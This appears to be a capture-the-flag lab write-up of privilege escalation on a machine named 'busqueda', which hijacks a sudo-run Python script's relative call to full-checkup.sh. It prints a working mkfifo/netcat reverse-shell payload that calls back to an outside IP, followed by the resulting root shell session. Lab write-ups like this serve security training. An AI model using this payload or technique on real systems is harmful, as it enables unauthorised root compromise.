Command Execution via Relative Path
Leveraging password reuse to gain access as the administrator
user on the Gitea instance revealed that the /opt/scripts
directory is hosted on the Gitlab instance.
The initial idea of conducting privilege escalation by modifying the system-checkup.py
file that is assigned to the svc
account via a sudo-privileged command, had failed. It became apparent that the repository is read-only due to server-side limitations imposed by the Gitea instance.
Nevertheless, a critical vulnerability was eventually identified in one of the conditional statements in system-checkup.py
, where an external Bash script is invoked without using an absolute path. This introduced a potential security risk. A subsequent test confirmed the existence of the vulnerability at a later stage.
In the following sections, a proof of concept will be presented to demonstrate the exploitation of the identified vulnerability in the system-checkup.py
file. The PoC will illustrate the potential consequences of invoking an external Bash script without utilizing an absolute path, emphasizing the security implications associated with the observed path manipulation vulnerability.
svc@busqueda:/var/tmp$ pwd
/var/tmp
For this attack to work, it is necessary to change the current directory to an arbitrary directory that is write-able by the current user
svc@busqueda:/var/tmp$ echo -e '#!/bin/bash\necho "Reverse Shell Inbound.."\nmkfifo /tmp/foibu; nc 10.10.16.8 1234 0</tmp/foibu | /bin/sh >/tmp/foibu 2>&1; rm /tmp/foibu' > /var/tmp/full-checkup.sh
svc@busqueda:/var/tmp$ cat full-checkup.sh
#!/bin/bash
echo "Reverse Shell Inbound.."
mkfifo /tmp/foibu; nc 10.10.16.8 1234 0</tmp/foibu | /bin/sh >/tmp/foibu 2>&1; rm /tmp/foibu
Then, I will create a fake file named, full-checkup.sh
, with the payload in it
svc@busqueda:/var/tmp$ sudo -u root python3 /opt/scripts/system-checkup.py full-checkup
Executing the sudo-privileged command in the current directory with the full-checkup
sub-command will invoke the fake Bash script, resulting code execution of the payload
┌──(kali㉿kali)-[~/archive/htb/labs/busqueda]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.208] 49364
whoami
root
hostname
busqueda
ifconfig
br-c954bf22b8b2: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:3f:f4:e9:05 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-cbf2c5ce8e95: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
inet6 fe80::42:b7ff:fe96:fbcb prefixlen 64 scopeid 0x20<link>
ether 02:42:b7:96:fb:cb txqueuelen 0 (Ethernet)
RX packets 22787 bytes 18076268 (18.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23017 bytes 3383309 (3.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-fba5a3e31476: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:fe:de:7c:f7 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:95:39:04:f2 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.208 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:8e12 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:8e12 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:8e:12 txqueuelen 1000 (Ethernet)
RX packets 1598692 bytes 256204868 (256.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1955053 bytes 576177102 (576.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 5433092 bytes 581122779 (581.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5433092 bytes 581122779 (581.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth2d5e8ec: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::2cf7:d2ff:fef5:859d prefixlen 64 scopeid 0x20<link>
ether 2e:f7:d2:f5:85:9d txqueuelen 0 (Ethernet)
RX packets 58415 bytes 22844402 (22.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 51305 bytes 17660954 (17.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth8104adb: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::50c5:a0ff:fe24:9162 prefixlen 64 scopeid 0x20<link>
ether 82:af:f1:a3:3d:75 txqueuelen 0 (Ethernet)
RX packets 45157 bytes 17714096 (17.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 52560 bytes 7890049 (7.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise